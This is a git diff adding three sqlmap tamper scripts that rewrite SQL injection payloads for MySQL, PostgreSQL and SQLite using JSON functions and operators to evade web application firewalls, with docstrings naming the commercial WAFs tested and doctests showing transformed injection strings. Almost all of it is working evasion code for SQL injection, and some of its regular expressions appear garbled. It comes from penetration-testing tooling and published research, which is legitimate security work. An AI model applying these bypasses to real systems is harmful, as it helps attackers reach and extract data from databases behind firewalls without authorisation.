diff --git a/doc/THANKS.md b/doc/THANKS.md index dc49071a9..fdbabaf57 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -789,6 +789,9 @@ x, zhouhx, * for contributing a minor patch +Noam Moshe Claroty Team82 +* for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py + # Organizations Black Hat team, diff --git a/tamper/json_waf_bypass_mysql.py b/tamper/json_waf_bypass_mysql.py new file mode 100644 index 000000000..e2b15d4dc --- /dev/null +++ b/tamper/json_waf_bypass_mysql.py @@ -0,0 +1,163 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison. +pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
+import re, random, string
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+
+
+# Possible int payloads:
+# 1) JSON_LENGTH()
+# 2) json_depth
+# 3) JSON_EXTRACT()
+
+def generate_int_payload():
+    INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
+    return (random.choice(INT_FUNCTIONS))()
+
+
+# Possible STR payloads:
+# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
+# 2) JSON_EXTRACT
+# 3) JSON_QUOTE('null')
+
+def generate_str_payload():
+    print("generate_str_payload")
+    STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
+    return (random.choice(STR_FUNCTIONS))()
+    return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
+
+
+def generate_random_string(length=15):
+    str_length = random.randint(1,length)
+    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
+
+def generate_random_int():
+    return random.randint(2, 10000)
+
+
+def generate_length_payload():
+    return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
+
+
+def generate_depth_paylod():
+    return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
+
+
+def generate_quote_payload():
+    var = generate_random_string()
+    return f"JSON_QUOTE('{var}') = '\"{var}\"'"
+
+
+def generate_int_extract_payload():
+    return generate_extract_payload(isString=False)
+
+
+def generate_str_extract_payload():
+    return generate_extract_payload(isString=True)
+
+
+def generate_extract_payload(isString=False):
+    key = generate_random_string()
+    if isString:
+        value = generate_random_string()
+        return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
+    value = generate_random_int()
+    return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
+
+
+def generate_payload(isString, isBrackets):
+    payload = '(' if isBrackets else ""
+    if isString:
+        payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
+    else:
+        payload += generate_int_payload()
+
+    return payload
+
+
+def generate_random_payload():
+    if random.randint(0,1):
+        return generate_str_payload()
+    return generate_int_payload()
+
+def tamper(payload, **kwargs):
+    """
+        
+    Bypasses generic WAFs using JSON SQL Syntax.
+    For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
+
+    Tested against:
+        * MySQL v8.0 - however every version after v5.7.8 should work
+
+    Usage:
+        python3 sqlmap.py  --tamper json_waf_bypass_mysql.py
+
+    Notes:
+        * References: 
+            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
+            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
+        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
+        * JSON techniques were tested againts the following WAF vendors:
+            * Amazon AWS ELB
+            * CloudFlare
+            * F5 BIG-IP
+            * Palo-Alto Next Generation Firewall
+            * Imperva Firewall
+
+        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
+          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
+
+        Possible int payloads:
+            1) JSON_LENGTH()
+            2) json_depth
+            3) JSON_EXTRACT()
+
+        Possible STR payloads:
+            1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
+            2) JSON_EXTRACT
+            3) JSON_QUOTE('null')
+
+    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
+    ''' ' and 5626=9709  and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
+    >>> tamper('and 4515=8950--')
+    '''  and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
+    """
+
+    payload = payload.replace(r'%20', " ")
+    #
+    retVal = payload
+
+    if payload:
+        match = re.search(pattern, payload)
+
+        if match:
+            pre = match.group('pre')
+
+            # Is our payload is a string.
+            isString = pre.startswith("'")
+            isBrackets = pre.startswith("')") or pre.startswith(")")
+            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
+            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
+
+        else:
+
+            if payload.lower().startswith("' union"):
+                wafPayload = generate_random_payload()
+
+                retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
+
+    return retVal
+
diff --git a/tamper/json_waf_bypass_postgres.py b/tamper/json_waf_bypass_postgres.py
new file mode 100644
index 000000000..bc368ebfd
--- /dev/null
+++ b/tamper/json_waf_bypass_postgres.py
@@ -0,0 +1,237 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
+pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
+pattern_extract_value = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?PEXTRACTVALUE.*)"
+pattern_when_where = r"(?i)(?P
.*)\s*\b(?PWHERE|WHEN)\b\s*(?P.*)"
+pattern_replace_case = r"(?i)(?P\(select.*when\s*\((?P.*?)=(?P.*?)\).*?then\s*(?P\(.*?\))\s*else\s*(?P\(.*?\)).*?end\)\))"
+import re, random, string
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+
+def dependencies():
+    pass
+
+
+# Possible int payloads:
+# 1) #>>
+# 2) @>
+# 3) ->> (index)
+# 4) ->> (str)
+
+def generate_int_payload():
+    INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload]
+    return (random.choice(INT_FUNCTIONS))()
+
+
+# Possible str payloads:
+# 1) ->> (str)
+# 2) ->> (index)
+# 3) #>>
+
+
+def generate_str_payload():
+    STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload]
+    return (random.choice(STR_FUNCTIONS))()
+
+
+def generate_random_string(length=15):
+    str_length = random.randint(1,length)
+    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
+
+
+def generate_random_int():
+    return random.randint(2, 10000)
+
+
+def generate_element_by_id_payload(isString):
+    random_generator = generate_random_string if isString else generate_random_int
+    values = []
+    for i in range(3):
+        values.append(random_generator())
+    random_index = random.randint(0,2)
+    if isString:
+        return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\''
+    return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}"
+
+
+def generate_element_by_id_int_payload():
+    return generate_element_by_id_payload(isString=False)
+
+
+def generate_element_by_id_str_payload():
+    return generate_element_by_id_payload(isString=True)
+
+
+def generate_element_by_key_payload(isString):
+    random_generator = generate_random_string if isString else generate_random_int
+    keys = []
+    values = []
+    for i in range(3):
+        keys.append(generate_random_string())  # Json must always have a string as a value
+        values.append(random_generator())
+    random_index = random.randint(0, 2)
+    if isString:
+        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'"
+    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}"
+
+
+def generate_element_by_key_int_payload():
+    return generate_element_by_key_payload(isString=False)
+
+
+def generate_element_by_key_str_payload():
+    return generate_element_by_key_payload(isString=True)
+
+
+def generate_element_by_hashtag_payload(isString):
+    random_generator = generate_random_string if isString else generate_random_int
+    keys = []
+    values = []
+    for i in range(3):
+        keys.append(generate_random_string())  # Json must always have a string as a value
+        values.append(random_generator())
+    random_index = random.randint(0, 2)
+    if isString:
+        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'"
+    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}"
+
+
+def generate_element_by_hashtag_int_payload():
+    return generate_element_by_hashtag_payload(isString=False)
+
+
+def generate_element_by_hashtag_str_payload():
+    return generate_element_by_hashtag_payload(isString=True)
+
+
+def generate_json_left_contains_payload():
+    keys = []
+    values = []
+    for i in range(3):
+        keys.append(generate_random_string())  # Json must always have a string as a value
+        values.append(generate_random_int())
+    random_index = random.randint(0, 2)
+    return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'"
+
+
+def generate_payload(isString, isBrackets):
+    payload = '(' if isBrackets else ""
+    if isString:
+        payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
+    else:
+        payload += generate_int_payload()
+
+    return payload
+
+
+def generate_random_payload():
+    if random.randint(0,1):
+        return generate_str_payload()
+    return generate_int_payload()
+
+def tamper(payload, **kwargs):
+    """
+    
+    Bypasses generic WAFs using JSON SQL Syntax.
+
+    For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html
+
+    Tested against:
+        * PostgreSQL v15.0 - however every version after v9.2 should work
+
+    Usage:
+        python3 sqlmap.py  --tamper json_waf_bypass_postgres.py
+
+    Notes:
+
+        * References: 
+            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
+            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
+        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
+        * JSON techniques were tested againts the following WAF vendors:
+            * Amazon AWS ELB
+            * CloudFlare
+            * F5 BIG-IP
+            * Palo-Alto Next Generation Firewall
+            * Imperva Firewall
+
+        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
+          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
+
+        Possible int payloads:
+            1) #>>
+            2) @>
+            3) ->> (index)
+            4) ->> (str)
+
+        Possible str payloads:
+            1) ->> (str)
+            2) ->> (index)
+            3) #>>
+
+    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
+    ''' ' and 5626=9709  and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ '''
+    >>> tamper('and 4515=8950')
+    '''  and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 '''
+    """
+    payload = payload.replace(r'%20', " ")  # Fix regex for later
+    payload = payload.lower().replace("union all", "union")  # Replace union all with union in order to bypass many common WAFs
+    bad_string_match = re.search(r"(from \(select \d+)", payload)  # Replaces suffix identified by many WAFs
+
+    if bad_string_match:
+        payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} "
+
+    retVal = payload
+
+    if payload:
+
+        match = re.search(pattern, payload)
+
+        if match:
+            pre = match.group('pre')
+            # Is our payload a string.
+            isString = pre.startswith("'")
+            isBrackets = pre.startswith("')") or pre.startswith(")")
+            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
+            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
+
+        elif payload.lower().startswith("' union"):  # Increase evasiveness in union payloads
+            wafPayload = generate_random_payload()
+            retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
+
+        else:
+            extract_value_match = re.search(pattern_extract_value, payload)
+
+            if extract_value_match:  # Replaces extractvalue because many WAFs target it
+                wafPayload = generate_random_payload()
+                retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}"
+
+            else:
+                condition_match = re.match(pattern_when_where, payload)
+
+                if condition_match:  # Replaces when/where payloads with regular payloads because many WAFs target this keywords
+                    wafPayload = generate_random_payload()
+                    retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}"
+
+        case_match = re.search(pattern_replace_case, retVal)
+
+        if case_match:  # Replaces case statements because many WAFs target this syntax
+
+            # Check if the case statement expects the left or right option
+            if case_match.group("leftComp") == case_match.group("rightComp"):
+                retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase'))
+
+            else:
+                retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase'))
+
+    return retVal
+
diff --git a/tamper/json_waf_bypass_sqlite.py b/tamper/json_waf_bypass_sqlite.py
new file mode 100644
index 000000000..ce0c4507e
--- /dev/null
+++ b/tamper/json_waf_bypass_sqlite.py
@@ -0,0 +1,178 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
+pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
+import re, random, string
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+DEBUG = False
+
+
+def dependencies():
+	pass
+
+
+# Possible int payloads:
+# 1) JSON_LENGTH()
+# 2) json_depth
+# 3) JSON_EXTRACT()
+# 3) JSON_EXTRACT operator
+
+def generate_int_payload():
+	INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload]
+	return (random.choice(INT_FUNCTIONS))()
+
+
+# Possible STR payloads:
+# 2) JSON_EXTRACT
+# 2) JSON_EXTRACT Operator
+# 3) JSON_QUOTE('null')
+
+def generate_str_payload():
+	STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload]
+	return (random.choice(STR_FUNCTIONS))()
+
+
+def generate_random_string(length=15):
+	str_length = random.randint(1, length)
+	return "".join(random.choice(string.ascii_letters) for i in range(str_length))
+
+
+def generate_random_int():
+	return random.randint(2, 10000)
+
+
+def generate_length_payload():
+	rand_int = generate_random_int()
+	return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}"
+
+
+def generate_quote_payload():
+	var = generate_random_string()
+	return f"JSON_QUOTE('{var}') = '\"{var}\"'"
+
+
+def generate_int_extract_payload():
+	return generate_extract_payload(isString=False)
+
+
+def generate_str_extract_payload():
+	return generate_extract_payload(isString=True)
+
+
+def generate_int_extract_operator_payload():
+	return generate_extract_operator_payload(isString=False)
+
+
+def generate_str_extract_operator_payload():
+	return generate_extract_operator_payload(isString=True)
+
+
+def generate_extract_payload(isString=False):
+	key = generate_random_string()
+	if isString:
+		value = generate_random_string()
+		return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
+	value = generate_random_int()
+	return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}'
+
+
+def generate_extract_operator_payload(isString=False):
+
+	key = generate_random_string()
+	if isString:
+		value = generate_random_string()
+		return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\''
+	value = generate_random_int()
+	return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}'
+
+
+def generate_payload(isString, isBrackets):
+	payload = '(' if isBrackets else ""
+	if isString:
+		payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
+	else:
+		payload += generate_int_payload()
+
+	return payload
+
+
+def generate_random_payload():
+	if random.randint(0, 1):
+		return generate_str_payload()
+	return generate_int_payload()
+
+
+def tamper(payload, **kwargs):
+	"""
+        
+    Bypasses generic WAFs using JSON SQL Syntax. 
+
+    For more details about JSON in SQLite - https://www.sqlite.org/json1.html
+
+    Tested against:
+        * SQLite v3.39.4 - however every version after v3.38.0 should work
+
+    Usage:
+        python3 sqlmap.py  --tamper json_waf_bypass_sqlite.py
+
+    Notes:
+
+    	* References: 
+            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
+            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
+        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
+        * JSON techniques were tested againts the following WAF vendors:
+            * Amazon AWS ELB
+            * CloudFlare
+            * F5 BIG-IP
+            * Palo-Alto Next Generation Firewall
+            * Imperva Firewall
+
+        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
+          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
+
+        Possible int payloads:
+			1) JSON_LENGTH()
+			2) json_depth
+			3) JSON_EXTRACT()
+			3) JSON_EXTRACT operator
+
+        Possible STR payloads:
+			2) JSON_EXTRACT
+			2) JSON_EXTRACT Operator
+			3) JSON_QUOTE('null')
+
+    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
+    ''' ' and 5626=9709  and JSON_QUOTE('UG') = '"UG" '''
+    >>> tamper('and 4515=8950')
+    '''  and JSON_ARRAY_LENGTH("[]") <= 9100 '''
+    """
+	retVal = payload
+
+	if payload:
+		match = re.search(pattern, payload)
+
+		if match:
+			pre = match.group('pre')
+
+			# Is our payload is a string.
+			isString = pre.startswith("'")
+			isBrackets = pre.startswith("')") or pre.startswith(")")
+			wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
+			retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
+
+		else:
+
+			if payload.lower().startswith("' union"):
+				wafPayload = generate_random_payload()
+				retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
+
+	return retVal